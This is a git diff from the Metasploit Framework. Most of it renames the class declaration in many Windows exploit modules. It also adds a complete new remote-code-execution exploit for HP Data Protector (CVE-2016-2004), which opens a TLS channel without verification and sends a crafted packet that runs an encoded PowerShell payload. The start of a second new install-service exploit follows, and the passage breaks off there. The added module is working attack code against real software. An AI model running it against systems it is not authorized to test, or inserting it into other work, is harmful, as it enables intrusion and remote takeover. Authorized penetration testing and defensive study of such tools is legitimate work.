b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end - unless check == Exploit::CheckCode::Vulnerable + if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb index 22a5db2c6e..5aa74dbfa1 100644 --- a/modules/exploits/windows/local/virtual_box_opengl_escape.rb +++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking DEVICE = '\\\\.\\VBoxGuest' diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index f02c1e5a6c..ae7a9a89ed 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index 3f6a75d772..a57469af53 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb index c806bb71d6..d7aa39f5d0 100644 --- a/modules/exploits/windows/lotus/domino_http_accept_language.rb +++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index f5876e4d5e..15c6f3465b 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index f86f06cf09..0152389d2e 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index 95cc18d40f..c81eba5b73 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # needs client interaction and permanent listener # diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb index 2696dfd9cf..783fc8ec7c 100644 --- a/modules/exploits/windows/lpd/hummingbird_exceed.rb +++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb index 56f7267fc3..aa57ae65e4 100644 --- a/modules/exploits/windows/lpd/niprint.rb +++ b/modules/exploits/windows/lpd/niprint.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb index c41eccb25d..e370868b86 100644 --- a/modules/exploits/windows/lpd/saplpd.rb +++ b/modules/exploits/windows/lpd/saplpd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb index ee2d364df6..6e5354b7e5 100644 --- a/modules/exploits/windows/lpd/wincomlpd_admin.rb +++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/achat_bof.rb b/modules/exploits/windows/misc/achat_bof.rb index 7a53dee238..378dcd3d7a 100644 --- a/modules/exploits/windows/misc/achat_bof.rb +++ b/modules/exploits/windows/misc/achat_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index 2cf6fd756e..970804766e 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb index 8fcdb9e6d8..64aa24d4a0 100644 --- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb +++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index 0d02343531..2ecd64761c 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 383d1e5503..5d41f38d8d 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::CmdStager diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb index dfa2e33ca2..a18abfeb57 100644 --- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb +++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb index 5f4aaf27a6..ef8ca5f737 100644 --- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb +++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb index 70c5c32675..163488bdd5 100644 --- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb +++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb index d61bc8c168..b73941ecee 100644 --- a/modules/exploits/windows/misc/avidphoneticindexer.rb +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index f7ef75924e..33623a6a2e 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb index 6647a2e608..b83075517a 100644 --- a/modules/exploits/windows/misc/bcaaa_bof.rb +++ b/modules/exploits/windows/misc/bcaaa_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index a63b9bd4fa..a485c3f977 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 49e364a014..2cfbdcfe73 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index e20af52a2a..2a727d37ea 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index 4bf8ff8fcf..e0fd894ab6 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index 9db3b25a2f..fa53f1bdc9 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index 1bc230ad4c..55a2bb646b 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb index 2f5d35ae39..c792582b39 100644 --- a/modules/exploits/windows/misc/bopup_comm.rb +++ b/modules/exploits/windows/misc/bopup_comm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index 0da0bbad83..c994706c67 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb index e354c56925..d744dd9c5f 100644 --- a/modules/exploits/windows/misc/borland_starteam.rb +++ b/modules/exploits/windows/misc/borland_starteam.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index 4ddb6beb1f..b67a2c6433 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index f64248b583..e67cc1e95e 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 31ed2b4605..5d48e0a692 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index 66d3145b80..373922133a 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 2d36e4ee08..8741273ee4 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb index 9130d3ad0a..388c996923 100644 --- a/modules/exploits/windows/misc/doubletake.rb +++ b/modules/exploits/windows/misc/doubletake.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index c5cc523440..bcc0102e7b 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb index ba6caf4a42..5e7b5c8e0b 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index f3d90b8117..b5c78fb561 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 9c59408ddc..8d61c18476 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 084c331db4..df7c0adc8e 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb index f0ccc69f63..d913136f3b 100644 --- a/modules/exploits/windows/misc/fb_isc_attach_database.rb +++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb index d85485c26a..2bcac14761 100644 --- a/modules/exploits/windows/misc/fb_isc_create_database.rb +++ b/modules/exploits/windows/misc/fb_isc_create_database.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index fca3bb11bf..db3949ec51 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb index 2fa4784861..d5e6c095ef 100644 --- a/modules/exploits/windows/misc/gimp_script_fu.rb +++ b/modules/exploits/windows/misc/gimp_script_fu.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index 3626d62b2c..cf29c3b2d6 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 7dd833c3c0..d600cbbad1 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index 807267a2c2..2e1c591fd1 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb new file mode 100644 index 0000000000..64258c69ac --- /dev/null +++ b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' +require 'openssl' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP Data Protector Encrypted Communication Remote Command Execution", + 'Description' => %q{ + This module exploits a well known remote code execution exploit after establishing encrypted + control communications with a Data Protector agent. This allows exploitation of Data + Protector agents that have been configured to only use encrypted control communications. + + This exploit works by executing the payload with Microsoft PowerShell so will only work + against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows + Server 2008 R2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jon Barg', # Reported vuln (originally discovery?) credited by HP + 'Ian Lovering' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2016-2004' ], + [ 'URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'WfsDelay' => 30, + 'RPORT' => 5555 + }, + 'Privileged' => false, + 'DisclosureDate' => "Apr 18 2016", + 'DefaultTarget' => 0)) + end + + def check + # For the check command + connect + sock.put(rand_text_alpha_upper(64)) + response = sock.get_once(-1) + disconnect + + if response.nil? + return Exploit::CheckCode::Safe + end + + service_version = Rex::Text.to_ascii(response).chop.chomp + + if service_version =~ /HP Data Protector/ + vprint_status(service_version) + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + + end + + def generate_dp_payload + command = cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { remove_comspec: true, encode_final_payload: true }) + + payload = + "\x32\x00\x01\x01\x01\x01\x01\x01" + + "\x00\x01\x00\x01\x00\x01\x00\x01" + + "\x01\x00\x20\x32\x38\x00\x5c\x70" + + "\x65\x72\x6c\x2e\x65\x78\x65\x00" + + "\x20\x2d\x65\x73\x79\x73\x74\x65" + + "\x6d('#{command}')\x00" + + payload_length = [payload.length].pack('N') + + return payload_length + payload + end + + def exploit + # Main function + encryption_init_data = + "\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00" + + "\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00" + + "\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00" + + "\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00" + + "\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00" + + print_status("Initiating connection") + + # Open connection + connect + + # Send init data + sock.put(encryption_init_data) + begin + buf = sock.get_once + rescue ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + print_status("Establishing encrypted channel") + + # Create TLS / SSL context + sock.extend(Rex::Socket::SslTcp) + sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE + + sock.sslctx.options = OpenSSL::SSL::OP_ALL + + # Enable all ciphers as older versions of Data Protector only use + # some not enabled by default + sock.sslctx.ciphers = "ALL" + + # Enable TLS / SSL + sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx) + sock.sslsock.connect + + print_status("Sending payload") + + # Send payload + sock.put(generate_dp_payload(), {timeout: 5}) + + # Close socket + disconnect + + print_status("Waiting for payload execution (this can take up to 30 seconds or so)") + end + +end + diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index 5c85510fb9..93fff44d38 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb new file mode 100644 index 0000000000..8dc97f9b2c --- /dev/null +++ b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HP Data Protector 6.10/6.11/6.20 Install Service', + 'Description' => %q{ + This module exploits HP Data Protector Omniinet process on Windows only. + This exploit invokes the install service function which allows an attacker to create a + custom payload in the format of an executable. + + To ensure this works, the SMB server created in MSF must have a share called Omniback + which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\ + }, + 'Author' => [ + 'Ben Turner', + ], + 'References' => + [ + 